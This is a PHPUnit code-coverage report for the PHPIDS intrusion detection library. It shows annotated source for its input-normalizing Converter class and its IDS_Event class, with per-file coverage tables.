33 : + 34 : /** + 35 : * PHPIDS specific utility class to convert charsets manually + 36 : * + 37 : * Note that if you make use of IDS_Converter::runAll(), existing class + 38 : * methods will be executed in the same order as they are implemented in the + 39 : * class tree! + 40 : * + 41 : * @category Security + 42 : * @package PHPIDS + 43 : * @author Christian Matthies <ch0012@gmail.com> + 44 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 45 : * @author Lars Strojny <lars@strojny.net> + 46 : * @copyright 2007 The PHPIDS Group + 47 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 48 : * @version Release: $Id:Converter.php 517 2007-09-15 15:04:13Z mario $ + 49 : * @link http://php-ids.org/ + 50 : */ + 51 : class IDS_Converter + 52 1 : { + 53 : /** + 54 : * Runs all converter functions + 55 : * + 56 : * Note that if you make use of IDS_Converter::runAll(), existing class + 57 : * methods will be executed in the same order as they are implemented in the + 58 : * class tree! + 59 : * + 60 : * @param string $value the value to convert + 61 : * + 62 : * @static + 63 : * @return string + 64 : */ + 65 : public static function runAll($value) + 66 : { + 67 35 : foreach (get_class_methods(__CLASS__) as $method) { + 68 : + 69 35 : if (strpos($method, 'run') === 0) { + 70 35 : continue; + 71 : } + 72 35 : $value = self::$method($value); + 73 35 : } + 74 : + 75 35 : return $value; + 76 : } + 77 : + 78 : /** + 79 : * Check for comments and erases them if available + 80 : * + 81 : * @param string $value the value to convert + 82 : * + 83 : * @static + 84 : * @return string + 85 : */ + 86 : public static function convertFromCommented($value) + 87 : { + 88 : // check for existing comments + 89 35 : if (preg_match('/(?:\<!-|-->|\/\*|\*\/|\/\/\W*\w+\s*$)|' . + 90 35 : '(?:--[^-]*-)/ms', $value)) { + 91 : + 92 : $pattern = array( + 93 8 : '/(?:(?:<!)(?:(?:--(?:[^-]*(?:-[^-]+)*)--\s*)*)(?:>))/ms', + 94 8 : '/(?:(?:\/\*\/*[^\/\*]*)+\*\/)/ms', + 95 : '/(?:--[^-]*-)/ms' + 96 8 : ); + 97 : + 98 8 : $converted = preg_replace($pattern, ';', $value); + 99 8 : $value .= "\n" . $converted; + 100 8 : } + 101 : //make sure inline comments are detected and converted correctly + 102 35 : $value = preg_replace('/(<\w+)\/+(\w+=?)/m', '$1/$2', $value); + 103 35 : $value = preg_replace('/[^\\\:]\/\/(.*)$/m', '/**/$1', $value); + 104 : + 105 35 : return $value; + 106 : } + 107 : + 108 : /** + 109 : * Strip newlines + 110 : * + 111 : * @param string $value the value to convert + 112 : * + 113 : * @static + 114 : * @return string + 115 : */ + 116 : public static function convertFromNewLines($value) + 117 : { + 118 : //check for inline linebreaks + 119 35 : $search = array('\r', '\n', '\f', '\t', '\v'); + 120 35 : $value = str_replace($search, ';', $value); + 121 : + 122 : //convert real linebreaks + 123 35 : return preg_replace('/(?:\n|\r|\v)/m', ' ', $value); + 124 : } + 125 : + 126 : /** + 127 : * Checks for common charcode pattern and decodes them + 128 : * + 129 : * @param string $value the value to convert + 130 : * + 131 : * @static + 132 : * @return string + 133 : */ + 134 : public static function convertFromJSCharcode($value) + 135 : { + 136 35 : $matches = array(); + 137 : + 138 : // check if value matches typical charCode pattern + 139 35 : if (preg_match_all('/(?:[\d+-=\/\* ]+(?:\s?,\s?[\d+-=\/\* ]+)){4,}/ms', + 140 35 : $value, $matches)) { + 141 : + 142 1 : $converted = ''; + 143 1 : $string = implode(',', $matches[0]); + 144 1 : $string = preg_replace('/\s/', '', $string); + 145 1 : $string = preg_replace('/\w+=/', '', $string); + 146 1 : $charcode = explode(',', $string); + 147 : + 148 1 : foreach ($charcode as $char) { + 149 1 : $char = preg_replace('/\W0/s', '', $char); + 150 : + 151 1 : if (preg_match_all('/\d*[+-\/\* ]\d+/', $char, $matches)) { + 152 1 : $match = preg_split('/(\W?\d+)/', + 153 1 : (implode('', $matches[0])), + 154 1 : null, + 155 1 : PREG_SPLIT_DELIM_CAPTURE); + 156 : + 157 1 : if (array_sum($match) >= 20 && array_sum($match) <= 127) { + 158 1 : $converted .= chr(array_sum($match)); + 159 1 : } + 160 : + 161 1 : } elseif (!empty($char) && $char >= 20 && $char <= 127) { + 162 1 : $converted .= chr($char); + 163 1 : } + 164 1 : } + 165 : + 166 1 : $value .= "\n" . $converted; + 167 1 : } + 168 : + 169 : // check for octal charcode pattern + 170 35 : if (preg_match_all('/(?:(?:[\\\]+\d+[ \t]*){8,})/ims', $value, $matches)) { + 171 : + 172 1 : $converted = ''; + 173 1 : $charcode = explode('\\', preg_replace('/\s/', '', implode(',', + 174 1 : $matches[0]))); + 175 : + 176 1 : foreach ($charcode as $char) { + 177 1 : if (!empty($char)) { + 178 1 : if (octdec($char) >= 20 && octdec($char) <= 127) { + 179 1 : $converted .= chr(octdec($char)); + 180 1 : } + 181 1 : } + 182 1 : } + 183 1 : $value .= "\n" . $converted; + 184 1 : } + 185 : + 186 : // check for hexadecimal charcode pattern + 187 35 : if (preg_match_all('/(?:(?:[\\\]+\w+\s*){8,})/ims', $value, $matches)) { + 188 : + 189 2 : $converted = ''; + 190 2 : $charcode = explode('\\', preg_replace('/[ux]/', '', implode(',', + 191 2 : $matches[0]))); + 192 : + 193 2 : foreach ($charcode as $char) { + 194 2 : if (!empty($char)) { + 195 2 : if (hexdec($char) >= 20 && hexdec($char) <= 127) { + 196 2 : $converted .= chr(hexdec($char)); + 197 2 : } + 198 2 : } + 199 2 : } + 200 2 : $value .= "\n" . $converted; + 201 2 : } + 202 : + 203 35 : return $value; + 204 : } + 205 : + 206 : /** + 207 : * Eliminate JS regex modifiers + 208 : * + 209 : * @param string $value the value to convert + 210 : * + 211 : * @static + 212 : * @return string + 213 : */ + 214 : public static function convertJSRegexModifiers($value) + 215 : { + 216 35 : $value = preg_replace('/\/[gim]/', '/', $value); + 217 : + 218 35 : return $value; + 219 : } + 220 : + 221 : /** + 222 : * Converts from hex/dec entities + 223 : * + 224 : * @param string $value the value to convert + 225 : * + 226 : * @static + 227 : * @return string + 228 : */ + 229 : public static function convertEntities($value) + 230 : { + 231 35 : $converted = null; + 232 35 : if (preg_match('/&#x?[\w]+/ms', $value)) { + 233 6 : $converted = preg_replace('/(&#x?[\w]{2}\d?);?/ms', '$1;', $value); + 234 6 : $converted = html_entity_decode($converted, ENT_QUOTES, 'UTF-8'); + 235 6 : $value .= "\n" . str_replace(';;', ';', $converted); + 236 6 : } + 237 : + 238 35 : return $value; + 239 : } + 240 : + 241 : /** + 242 : * Normalize quotes + 243 : * + 244 : * @param string $value the value to convert + 245 : * + 246 : * @static + 247 : * @return string + 248 : */ + 249 : public static function convertQuotes($value) + 250 : { + 251 : // normalize different quotes to " + 252 35 : $pattern = array('\'', '`', '´', '’', '‘'); + 253 35 : $value = str_replace($pattern, '"', $value); + 254 : + 255 35 : return $value; + 256 : } + 257 : + 258 : /** + 259 : * Converts SQLHEX to plain text + 260 : * + 261 : * @param string $value the value to convert + 262 : * + 263 : * @static + 264 : * @return string + 265 : */ + 266 : public static function convertFromSQLHex($value) + 267 : { + 268 35 : $matches = array(); + 269 35 : if(preg_match_all('/(?:0x[a-f\d]{2,}[a-f\d\s]*)+/im', $value, $matches)) { + 270 3 : foreach($matches[0] as $match) { + 271 3 : $converted = ''; + 272 3 : foreach(str_split($match, 2) as $hex_index) { + 273 3 : if(preg_match('/[a-f\d]{2,3}/i', $hex_index)) { + 274 3 : $converted .= chr(hexdec($hex_index)); + 275 3 : } + 276 3 : } + 277 3 : $value = str_replace($match, $converted, $value); + 278 3 : } + 279 3 : } + 280 35 : return $value; + 281 : } + 282 : + 283 : /** + 284 : * Converts basic SQL keywords and obfuscations + 285 : * + 286 : * @param string $value the value to convert + 287 : * + 288 : * @static + 289 : * @return string + 290 : */ + 291 : public static function convertFromSQLKeywords($value) + 292 : { + 293 : $pattern = array('/(?:IS\s+null)|(LIKE\s+null)|' . + 294 35 : '(?:(?:^|\W)IN[+\s]*\([\s\d"]+[^()]*\))/ims'); + 295 35 : $value = preg_replace($pattern, '"=0', $value); + 296 35 : $value = preg_replace('/null,/ims', ',0', $value); + 297 35 : $value = preg_replace('/,null/ims', ',0', $value); + 298 : $pattern = array('/[^\w,]NULL|\\\N|TRUE|FALSE|UTC_TIME|' . + 299 35 : 'LOCALTIME(?:STAMP)?|CURRENT_\w+|BINARY|' . + 300 35 : '(?:(?:ASCII|SOUNDEX|' . + 301 35 : 'MD5|R?LIKE)[+\s]*\([^()]+\))|(?:-+\d)/ims'); + 302 35 : $value = preg_replace($pattern, 0, $value); + 303 : $pattern = array('/(?:NOT\s+BETWEEN)|(?:IS\s+NOT)|(?:NOT\s+IN)|' . + 304 35 : '(?:XOR|\WDIV\W|\WNOT\W|<>|RLIKE(?:\s+BINARY)?)|' . + 305 35 : '(?:REGEXP\s+BINARY)|' . + 306 35 : '(?:SOUNDS\s+LIKE)/ims'); + 307 35 : $value = preg_replace($pattern, '!', $value); + 308 35 : $value = preg_replace('/"\s+\d/', '"', $value); + 309 : + 310 35 : return $value; + 311 : } + 312 : + 313 : /** + 314 : * Detects nullbytes and controls chars via ord() + 315 : * + 316 : * @param string $value the value to convert + 317 : * + 318 : * @static + 319 : * @return string + 320 : */ + 321 : public static function convertFromControlChars($value) + 322 : { + 323 : // critical ctrl values + 324 35 : $search = array(chr(0), chr(1), chr(2), + 325 35 : chr(3), chr(4), chr(5), + 326 35 : chr(6), chr(7), chr(8), + 327 35 : chr(11), chr(12), chr(14), + 328 35 : chr(15), chr(16), chr(17), + 329 35 : chr(18), chr(19)); + 330 35 : $value = str_replace($search, '%00', $value); + 331 35 : $urlencoded = urlencode($value); + 332 : + 333 : //take care for malicious unicode characters + 334 35 : $value = urldecode(preg_replace('/(?:%E(?:2|3)%8(?:0|1)%(?:A|8|9)' . + 335 35 : '\w|%EF%BB%BF|%EF%BF%BD)|(?:&#(?:65|8)\d{3};?)/i', null, + 336 35 : $urlencoded)); + 337 : + 338 35 : $value = preg_replace('/(?:&[#x]*(200|820|200|820|zwn?j|lrm|rlm)\w?;?)/i', null, + 339 35 : $value); + 340 : + 341 35 : $value = preg_replace('/(?:&#(?:65|8)\d{3};?)|' . + 342 35 : '(?:&#(?:56|7)3\d{2};?)|' . + 343 35 : '(?:&#x(?:fe|20)\w{2};?)|' . + 344 35 : '(?:&#x(?:d[c-f])\w{2};?)/i', null, + 345 35 : $value); + 346 : + 347 35 : return $value; + 348 : } + 349 : + 350 : /** + 351 : * This method matches and translates base64 strings and fragments + 352 : * used in data URIs + 353 : * + 354 : * @param string $value the value to convert + 355 : * + 356 : * @static + 357 : * @return string + 358 : */ + 359 : public static function convertFromNestedBase64($value) + 360 : { + 361 35 : $matches = array(); + 362 35 : preg_match_all('/(?:^|[,&?])\s*([a-z0-9]{30,}=*)(?:\W|$)/im', + 363 35 : $value, + 364 35 : $matches); + 365 : + 366 35 : foreach ($matches[1] as $item) { + 367 2 : if (isset($item) && !preg_match('/[a-f0-9]{32}/i', $item)) { + 368 2 : $value = str_replace($item, base64_decode($item), $value); + 369 2 : } + 370 35 : } + 371 : + 372 35 : return $value; + 373 : } + 374 : + 375 : /** + 376 : * Detects nullbytes and controls chars via ord() + 377 : * + 378 : * @param string $value the value to convert + 379 : * + 380 : * @static + 381 : * @return string + 382 : */ + 383 : public static function convertFromOutOfRangeChars($value) + 384 : { + 385 35 : $values = str_split($value); + 386 35 : foreach ($values as $item) { + 387 35 : if (ord($item) >= 127) { + 388 8 : $value = str_replace($item, 'U', $value); + 389 8 : } + 390 35 : } + 391 : + 392 35 : return $value; + 393 : } + 394 : + 395 : /** + 396 : * Strip XML patterns + 397 : * + 398 : * @param string $value the value to convert + 399 : * + 400 : * @static + 401 : * @return string + 402 : */ + 403 : public static function convertFromXML($value) + 404 : { + 405 35 : $converted = strip_tags($value); + 406 : + 407 35 : if ($converted && ($converted != $value)) { + 408 24 : return $value . "\n" . $converted; + 409 : } + 410 30 : return $value; + 411 : } + 412 : + 413 : /** + 414 : * This method converts JS unicode code points to + 415 : * regular characters + 416 : * + 417 : * @param string $value the value to convert + 418 : * + 419 : * @static + 420 : * @return string + 421 : */ + 422 : public static function convertFromJSUnicode($value) + 423 : { + 424 35 : $matches = array(); + 425 : + 426 35 : preg_match_all('/\\\u[0-9a-f]{4}/ims', $value, $matches); + 427 : + 428 35 : if (!empty($matches[0])) { + 429 0 : foreach ($matches[0] as $match) { + 430 0 : $value = str_replace($match, + 431 0 : chr(hexdec(substr($match, 2, 4))), + 432 0 : $value); + 433 0 : } + 434 0 : $value .= "\n\u0001"; + 435 0 : } + 436 : + 437 35 : return $value; + 438 : } + 439 : + 440 : + 441 : /** + 442 : * Converts relevant UTF-7 tags to UTF-8 + 443 : * + 444 : * @param string $value the value to convert + 445 : * + 446 : * @static + 447 : * @return string + 448 : */ + 449 : public static function convertFromUTF7($value) + 450 : { + 451 35 : if(preg_match('/\+A\w+-/m', $value)) { + 452 1 : if (function_exists('mb_convert_encoding')) { + 453 1 : if(version_compare(PHP_VERSION, '5.2.8', '<')) { + 454 0 : $tmp_chars = str_split($value); + 455 0 : $value = ''; + 456 0 : foreach($tmp_chars as $char) { + 457 0 : if(ord($char) <= 127) { + 458 0 : $value .= $char; + 459 0 : } + 460 0 : } + 461 0 : } + 462 1 : $value .= "\n" . mb_convert_encoding($value, 'UTF-8', 'UTF-7'); + 463 1 : } else { + 464 : //list of all critical UTF7 codepoints + 465 : $schemes = array( + 466 0 : '+ACI-' => '"', + 467 0 : '+ADw-' => '<', + 468 0 : '+AD4-' => '>', + 469 0 : '+AFs-' => '[', + 470 0 : '+AF0-' => ']', + 471 0 : '+AHs-' => '{', + 472 0 : '+AH0-' => '}', + 473 0 : '+AFw-' => '\\', + 474 0 : '+ADs-' => ';', + 475 0 : '+ACM-' => '#', + 476 0 : '+ACY-' => '&', + 477 0 : '+ACU-' => '%', + 478 0 : '+ACQ-' => '$', + 479 0 : '+AD0-' => '=', + 480 0 : '+AGA-' => '`', + 481 0 : '+ALQ-' => '"', + 482 0 : '+IBg-' => '"', + 483 0 : '+IBk-' => '"', + 484 0 : '+AHw-' => '|', + 485 0 : '+ACo-' => '*', + 486 0 : '+AF4-' => '^', + 487 0 : '+ACIAPg-' => '">', + 488 : '+ACIAPgA8-' => '">' + 489 0 : ); + 490 : + 491 0 : $value = str_ireplace(array_keys($schemes), + 492 0 : array_values($schemes), $value); + 493 : } + 494 1 : } + 495 35 : return $value; + 496 : } + 497 : + 498 : /** + 499 : * Converts basic concatenations + 500 : * + 501 : * @param string $value the value to convert + 502 : * + 503 : * @static + 504 : * @return string + 505 : */ + 506 : public static function convertConcatenations($value) + 507 : { + 508 : //normalize remaining backslashes + 509 35 : if ($value != preg_replace('/(\w)\\\/', "$1", $value)) { + 510 3 : $value .= preg_replace('/(\w)\\\/', "$1", $value); + 511 3 : } + 512 : + 513 35 : $compare = stripslashes($value); + 514 : + 515 35 : $pattern = array('/(?:<\/\w+>\+<\w+>)/s', + 516 35 : '/(?:":\d+[^"[]+")/s', + 517 35 : '/(?:"?"\+\w+\+")/s', + 518 35 : '/(?:"\s*;[^"]+")|(?:";[^"]+:\s*")/s', + 519 35 : '/(?:"\s*(?:;|\+).{8,18}:\s*")/s', + 520 35 : '/(?:";\w+=)|(?:!""&&")|(?:~)/s', + 521 35 : '/(?:"?"\+""?\+?"?)|(?:;\w+=")|(?:"[|&]{2,})/s', + 522 35 : '/(?:"\s*\W+")/s', + 523 35 : '/(?:";\w\s*\+=\s*\w?\s*")/s', + 524 35 : '/(?:"[|&;]+\s*[^|&\n]*[|&]+\s*"?)/s', + 525 35 : '/(?:";\s*\w+\W+\w*\s*[|&]*")/s', + 526 35 : '/(?:"\s*"\s*\.)/s', + 527 35 : '/(?:\s*new\s+\w+\s*[+"])/', + 528 35 : '/(?:(?:^|\s+)(?:do|else)\s+)/', + 529 35 : '/(?:\{\s*new\s+\w+\s*\})/', + 530 35 : '/(?:(this|self).)/'); + 531 : + 532 : // strip out concatenations + 533 35 : $converted = preg_replace($pattern, null, $compare); + 534 : + 535 : //strip object traversal + 536 35 : $converted = preg_replace('/\w(\.\w\()/', "$1", $converted); + 537 : + 538 : //convert JS special numbers + 539 35 : $converted = preg_replace('/(?:\(*[.\d]e[+-]*[^a-z\W]+\)*)' . + 540 35 : '|(?:NaN|Infinity)\W/ms', 1, $converted); + 541 : + 542 35 : if ($converted && ($compare != $converted)) { + 543 15 : $value .= "\n" . $converted; + 544 15 : } + 545 : + 546 35 : return $value; + 547 : } + 548 : + 549 : /** + 550 : * This method collects and decodes proprietary encoding types + 551 : * + 552 : * @param string $value the value to convert + 553 : * @param IDS_Monitor $monitor the monitor object + 554 : * + 555 : * @static + 556 : * @return string + 557 : */ + 558 : public static function convertFromProprietaryEncodings($value) { + 559 : + 560 : //Xajax error reportings + 561 35 : $value = preg_replace('/<!\[CDATA\[(\W+)\]\]>/im', '$1', $value); + 562 : + 563 : //strip false alert triggering apostrophes + 564 35 : $value = preg_replace('/(\w)\"(s)/m', '$1$2', $value); + 565 : + 566 : //strip quotes within typical search patterns + 567 35 : $value = preg_replace('/^"([^"=\\!><~]+)"$/', '$1', $value); + 568 : + 569 : //OpenID login tokens + 570 35 : $value = preg_replace('/{[\w-]{8,9}\}(?:\{[\w=]{8}\}){2}/', null, $value); + 571 : + 572 : //convert Content and \sdo\s to null + 573 35 : $value = preg_replace('/Content|\Wdo\s/', null, $value); + 574 : + 575 : //strip emoticons + 576 35 : $value = preg_replace( + 577 35 : '/(?:[:;]-[()\/PD]+)|(?:\s;[()PD]+)|(?::[()PD]+)|-\.-|\^\^/m', + 578 35 : null, + 579 : $value + 580 35 : ); + 581 : + 582 : // normalize separation char repetion + 583 35 : $value = preg_replace('/([.+~=*_\-])\1{2,}/m', '$1', $value); + 584 : + 585 : //remove parenthesis inside sentences + 586 35 : $value = preg_replace('/(\w\s)\(([&\w]+)\)(\s\w|$)/', '$1$2$3', $value); + 587 : + 588 : //normalize ampersand listings + 589 35 : $value = preg_replace('/(\w\s)&\s(\w)/', '$1$2', $value); + 590 : + 591 35 : return $value; + 592 : } + 593 : + 594 : /** + 595 : * This method is the centrifuge prototype + 596 : * + 597 : * @param string $value the value to convert + 598 : * @param IDS_Monitor $monitor the monitor object + 599 : * + 600 : * @static + 601 : * @return string + 602 : */ + 603 : public static function runCentrifuge($value, IDS_Monitor $monitor = null) + 604 : { + 605 35 : $threshold = 3.49; + 606 : + 607 35 : $unserialized = false; + 608 35 : if(preg_match('/^\w:\d+:\{/', $value)) { + 609 0 : $unserialized = @unserialize($value); + 610 0 : } + 611 : + 612 35 : if (strlen($value) > 25 && !$unserialized) { + 613 : // Check for the attack char ratio + 614 33 : $tmp_value = $value; + 615 33 : $tmp_value = preg_replace('/([*.!?+-])\1{1,}/m', '$1', $tmp_value); + 616 33 : $tmp_value = preg_replace('/"[\p{L}\d\s]+"/m', null, $tmp_value); + 617 : + 618 33 : $stripped_length = strlen(preg_replace('/[\d\s\p{L}.:,%\/><-]+/m', + 619 33 : null, $tmp_value)); + 620 33 : $overall_length = strlen(preg_replace('/([\d\s\p{L}]{3,})+/m', 'aaa', + 621 33 : preg_replace('/\s{2,}/m', null, $tmp_value))); + 622 : + 623 : if ($stripped_length != 0 + 624 33 : && $overall_length/$stripped_length <= $threshold) { + 625 : + 626 16 : $monitor->centrifuge['ratio'] = + 627 16 : $overall_length/$stripped_length; + 628 16 : $monitor->centrifuge['threshold'] = + 629 : $threshold; + 630 : + 631 16 : $value .= "\n$[!!!]"; + 632 16 : } + 633 33 : } + 634 : + 635 35 : if (strlen($value) > 40) { + 636 : // Replace all non-special chars + 637 32 : $converted = preg_replace('/[\w\s\p{L},.!]/', null, $value); + 638 : + 639 : // Split string into an array, unify and sort + 640 32 : $array = str_split($converted); + 641 32 : $array = array_unique($array); + 642 32 : asort($array); + 643 : + 644 : // Normalize certain tokens + 645 : $schemes = array( + 646 32 : '~' => '+', + 647 32 : '^' => '+', + 648 32 : '|' => '+', + 649 32 : '*' => '+', + 650 32 : '%' => '+', + 651 32 : '&' => '+', + 652 : '/' => '+' + 653 32 : ); + 654 : + 655 32 : $converted = implode($array); + 656 32 : $converted = str_replace(array_keys($schemes), + 657 32 : array_values($schemes), $converted); + 658 32 : $converted = preg_replace('/[+-]\s*\d+/', '+', $converted); + 659 32 : $converted = preg_replace('/[()[\]{}]/', '(', $converted); + 660 32 : $converted = preg_replace('/[!?:=]/', ':', $converted); + 661 32 : $converted = preg_replace('/[^:(+]/', null, stripslashes($converted)); + 662 : + 663 : // Sort again and implode + 664 32 : $array = str_split($converted); + 665 32 : asort($array); + 666 : + 667 32 : $converted = implode($array); + 668 : + 669 32 : if (preg_match('/(?:\({2,}\+{2,}:{2,})|(?:\({2,}\+{2,}:+)|' . + 670 32 : '(?:\({3,}\++:{2,})/', $converted)) { + 671 : + 672 15 : $monitor->centrifuge['converted'] = $converted; + 673 : + 674 15 : return $value . "\n" . $converted; + 675 : } + 676 31 : } + 677 : + 678 35 : return $value; + 679 : } + 680 : } + 681 : + 682 : /* + 683 : * Local variables: + 684 : * tab-width: 4 + 685 : * c-basic-offset: 4 + 686 : * End: + 687 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +8 / 8 | +
+
|
+ 100.00% | +36 / 36 | +|||
| + | ||||||||||||
| IDS_Event | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +8 / 8 | +
+
|
+ 100.00% | +36 / 36 | +|||
| public function __construct($name, $value, array $filters) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +17 / 17 | +||||||
| public function getName() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getValue() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getImpact() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function getTags() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function getFilters() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function count() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
| public function getIterator() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +1 / 1 | +||||||
++ 1 : <?php + 2 : + 3 : /** + 4 : * PHPIDS + 5 : * + 6 : * Requirements: PHP5, SimpleXML + 7 : * + 8 : * Copyright (c) 2008 PHPIDS group (http://php-ids.org) + 9 : * + 10 : * PHPIDS is free software; you can redistribute it and/or modify + 11 : * it under the terms of the GNU Lesser General Public License as published by + 12 : * the Free Software Foundation, version 3 of the License, or + 13 : * (at your option) any later version. + 14 : * + 15 : * PHPIDS is distributed in the hope that it will be useful, + 16 : * but WITHOUT ANY WARRANTY; without even the implied warranty of + 17 : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + 18 : * GNU Lesser General Public License for more details. + 19 : * + 20 : * You should have received a copy of the GNU Lesser General Public License + 21 : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. + 22 : * + 23 : * PHP version 5.1.6+ + 24 : * + 25 : * @category Security + 26 : * @package PHPIDS + 27 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 28 : * @author Christian Matthies <ch0012@gmail.com> + 29 : * @author Lars Strojny <lars@strojny.net> + 30 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 31 : * @link http://php-ids.org/ + 32 : */ + 33 : + 34 : /** + 35 : * PHPIDS event object + 36 : * + 37 : * This class represents a certain event that occured while applying the filters + 38 : * to the supplied data. It aggregates a bunch of IDS_Filter implementations and + 39 : * is a assembled in IDS_Report. + 40 : * + 41 : * Note that this class implements both Countable and IteratorAggregate + 42 : * + 43 : * @category Security + 44 : * @package PHPIDS + 45 : * @author Christian Matthies <ch0012@gmail.com> + 46 : * @author Mario Heiderich <mario.heiderich@gmail.com> + 47 : * @author Lars Strojny <lars@strojny.net> + 48 : * @copyright 2007 The PHPIDS Group + 49 : * @license http://www.gnu.org/licenses/lgpl.html LGPL + 50 : * @version Release: $Id:Event.php 517 2007-09-15 15:04:13Z mario $ + 51 : * @link http://php-ids.org/ + 52 : */ + 53 : class IDS_Event implements Countable, IteratorAggregate + 54 : { + 55 : + 56 : /** + 57 : * Event name + 58 : * + 59 : * @var scalar + 60 : */ + 61 : protected $name = null; + 62 : + 63 : /** + 64 : * Value of the event + 65 : * + 66 : * @var scalar + 67 : */ + 68 : protected $value = null; + 69 : + 70 : /** + 71 : * List of filter objects + 72 : * + 73 : * Filter objects in this array are those that matched the events value + 74 : * + 75 : * @var array + 76 : */ + 77 : protected $filters = array(); + 78 : + 79 : /** + 80 : * Calculated impact + 81 : * + 82 : * Total impact of the event + 83 : * + 84 : * @var integer + 85 : */ + 86 : protected $impact = 0; + 87 : + 88 : /** + 89 : * Affecte tags + 90 : * + 91 : * @var array + 92 : */ + 93 : protected $tags = array(); + 94 : + 95 : /** + 96 : * Constructor + 97 : * + 98 : * Fills event properties + 99 : * + 100 : * @param scalar $name the event name + 101 : * @param scalar $value the event value + 102 : * @param array $filters the corresponding filters + 103 : * + 104 : * @return void + 105 : */ + 106 : public function __construct($name, $value, Array $filters) + 107 : { + 108 58 : if (!is_scalar($name)) { + 109 1 : throw new InvalidArgumentException( + 110 1 : 'Expected $name to be a scalar,' . gettype($name) . ' given' + 111 1 : ); + 112 : } + 113 : + 114 58 : if (!is_scalar($value)) { + 115 1 : throw new InvalidArgumentException(' + 116 1 : Expected $value to be a scalar,' . gettype($value) . ' given' + 117 1 : ); + 118 : } + 119 : + 120 58 : $this->name = $name; + 121 58 : $this->value = $value; + 122 : + 123 58 : foreach ($filters as $filter) { + 124 58 : if (!$filter instanceof IDS_Filter) { + 125 1 : throw new InvalidArgumentException( + 126 : 'Filter must be derived from IDS_Filter' + 127 1 : ); + 128 : } + 129 : + 130 58 : $this->filters[] = $filter; + 131 58 : } + 132 58 : } + 133 : + 134 : /** + 135 : * Returns event name + 136 : * + 137 : * The name of the event usually is the key of the variable that was + 138 : * considered to be malicious + 139 : * + 140 : * @return scalar + 141 : */ + 142 : public function getName() + 143 : { + 144 53 : return $this->name; + 145 : } + 146 : + 147 : /** + 148 : * Returns event value + 149 : * + 150 : * @return scalar + 151 : */ + 152 : public function getValue() + 153 : { + 154 2 : return $this->value; + 155 : } + 156 : + 157 : /** + 158 : * Returns calculated impact + 159 : * + 160 : * @return integer + 161 : */ + 162 : public function getImpact() + 163 : { + 164 35 : if (!$this->impact) { + 165 35 : $this->impact = 0; + 166 35 : foreach ($this->filters as $filter) { + 167 35 : $this->impact += $filter->getImpact(); + 168 35 : } + 169 35 : } + 170 : + 171 35 : return $this->impact; + 172 : } + 173 : + 174 : /** + 175 : * Returns affected tags + 176 : * + 177 : * @return array + 178 : */ + 179 : public function getTags() + 180 : { + 181 4 : $filters = $this->getFilters(); + 182 : + 183 4 : foreach ($filters as $filter) { + 184 4 : $this->tags = array_merge($this->tags, + 185 4 : $filter->getTags()); + 186 4 : } + 187 : + 188 4 : $this->tags = array_values(array_unique($this->tags)); + 189 : + 190 4 : return $this->tags; + 191 : } + 192 : + 193 : /** + 194 : * Returns list of filter objects + 195 : * + 196 : * @return array + 197 : */ + 198 : public function getFilters() + 199 : { + 200 9 : return $this->filters; + 201 : } + 202 : + 203 : /** + 204 : * Returns number of filters + 205 : * + 206 : * To implement interface Countable this returns the number of filters + 207 : * appended. + 208 : * + 209 : * @return integer + 210 : */ + 211 : public function count() + 212 : { + 213 2 : return count($this->getFilters()); + 214 : } + 215 : + 216 : /** + 217 : * IteratorAggregate iterator getter + 218 : * + 219 : * Returns an iterator to iterate over the appended filters. + 220 : * + 221 : * @return Iterator|IteratorAggregate + 222 : */ + 223 : public function getIterator() + 224 : { + 225 3 : return new ArrayObject($this->getFilters()); + 226 : } + 227 : } + 228 : + 229 : /* + 230 : * Local variables: + 231 : * tab-width: 4 + 232 : * c-basic-offset: 4 + 233 : * End: + 234 : */ + ++ |
+
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Storage.php | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +
+
|
+ 84.96% | +113 / 133 | +|||
|
| Generated by PHPUnit 3.3.1 and Xdebug 2.1.0-dev at Mon Dec 22 13:57:42 CET 2008. |
| PHPIDS | ||||
| ||||
+
|
+ ||||
|
+
| + | Coverage | +|||||||||||
| + | Classes | +Methods | +Lines | +|||||||||
| Total | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +
+
|
+ 100.00% | +18 / 18 | +|||
| + | ||||||||||||
| IDS_Filter | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +
+
|
+ 100.00% | +18 / 18 | +|||
| public function __construct($id, $rule, $description, array $tags, $impact) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +6 / 6 | +||||||
| public function match($string) | +
+
|
+ 100.00% | +1 / 1 | +
+
|
+ 100.00% | +7 / 7 | +||||||
| public function getDescription() | +
+
|
+ 100.00% | +1 / 1 | +
+
|
